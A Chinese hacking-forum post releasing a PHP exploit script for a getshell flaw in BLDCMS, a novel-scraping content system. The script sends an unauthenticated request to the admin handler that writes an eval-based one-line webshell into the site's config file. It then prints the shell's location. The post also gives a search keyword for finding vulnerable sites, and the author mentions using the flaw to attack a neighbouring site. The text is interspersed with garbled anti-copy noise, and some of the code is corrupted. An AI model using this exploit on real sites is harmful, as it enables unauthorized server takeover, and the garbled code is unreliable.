BLDCMS(白老大小说) Getshell 0day EXP

admin

之前想搞一个黑阔站 发现旁站有一个站用了BLDCMS 我就下载看了.. 找到了一个getshell漏洞
* ^$ h6 |+ D! M6 v2 g: C; @5 C
: T  S3 g1 e1 h
话说昨晚晴天小铸在90sec发现有人把这getshell漏洞的分析发出来了 擦 居然被人先发了
! K2 p. V$ z8 R' w& b) F2 T7 Y7 k
2 i* V4 X7 y8 U6 c; c既然都有人发了 我就把我之前写好的EXP放出来吧

2 B  Y* F6 R* }5 q3 l3 d; S. v* O- Gview source print?01.php;">
1 g- ?2 {9 h2 L6 X1 O02.<!--?php
03.echo "-------------------------------------------------------------------
* q8 V3 _/ v' B2 p04.
05.------------\r\n              BLDCMS(白老大php小说小偷) GETSHELL 0DAY EXP
. v/ y5 b) k* L5 M. v0 a06.
" j) H" E9 f' v1 v  X07.(GPC=Off)\r\n            Vulnerability discovery&Code by 数据流@wooyun
: m) m  P' k3 W7 Y08.
9 m6 h5 R& y* \7 B* n5 `09.QQ:981009941\r\n                                2013.3.21\r\n            
8 E+ F( ^; L. m' l. j10.
7 P7 J- J+ S, X6 `: D) a11.
12.用法:php.exe EXP.php www.baidu.com /cms/ pass(一句话密码
13.
14.)\r\n                    搜索关键字:\"开发者: 白老大小说\"\r\n-----------
' {. }; Q6 T; R8 s) P+ v0 e! T15.
9 [) u7 }. {1 a/ f; k) Z/ [( b16.--------------------------------------------------------------------\r\n";
17.$url=$argv[1];
9 j0 c4 x- P% |# K18.$dir=$argv[2];
19.$pass=$argv[3];
20.$eval='\';eval($_POST['.'"'.$pass.'"'.']);\'';
21.if (emptyempty($pass)||emptyempty($url))
5 {( T$ G' x7 B. ~22.{exit("请输入参数");}
7 q" {) b& t, Q23.else
24.{
8 T3 F7 K' E$ L! E; ]25.$fuckdata='sitename=a&qq=1&getcontent=acurl&tongji=a&cmsmd5=1&sqlite='.$ev
) g( @/ _6 P# N" c1 Y' r26.
27.al;
28.$length = strlen($fuckdata);
6 C$ b$ N) Q6 a29.function getshell($url,$pass)
30.{
  o" O. L' k( O) t7 R- _* `31.global $url,$dir,$pass,$eval,$length,$fuckdata;
32.$header = "OST /admin/chuli.php?action=a_1 HTTP/1.1\r\n";
33.$header .= "Content-Type: application/x-www-form-urlencoded\r\n";
; T1 a2 y( X* W, \2 g# s! \7 Q34.$header .= "User-Agent: MSIE\r\n";
35.$header .= "Host:".$url."\r\n";
36.$header .= "Content-Length: ".$length."\r\n";
37.$header .= "Connection: Close\r\n";
38.$header .="\r\n";
. Y2 T, q( p) V- h4 K39.$header .= $fuckdata."\r\n\r\n";
$ S" L& m9 V1 v" ~40.$fp = fsockopen($url, 80,$errno,$errstr,15);
41.if (!$fp)
42.{
/ }6 l  e# F- F5 D8 `, @/ ^; ?43.exit ("利用失败:请检查指定目标是否能正常打开");
44.}
45.else{ if (!fputs($fp,$header))
46.{exit ("利用失败");}
47.else
48.{
' v" L6 R. ~% s, g$ b49.$receive = '';
2 m  {2 t0 x5 _6 Q: y% S6 B50.while (!feof($fp)) {
51.$receive .= @fgets($fp, 1000);
52.}
) a" {( [. T* s  R3 C53.@fclose($fp);
54.echo "$url/$dir/conn/config/normal2.php passpass(如连接失败 请检查目标
9 w  H8 J" w. p# ]0 G55.
# W5 q. p/ q8 z, q9 A2 ^56.GPC是否=off)";
57.}}
% h/ b# ~( ~" [: D6 ~  I58.}
) U" E1 u, N) ^5 U. R, X59.}
1 Q8 L+ K4 j# a; [6 Z' P  O60.getshell($url,$pass);
& ?  R$ M) R- |3 h: Z; |5 I; u61.?-->


+ ~2 `0 Q/ b2 ]' w  R6 B- ^5 ]$ X, w6 c0 N
by 数据流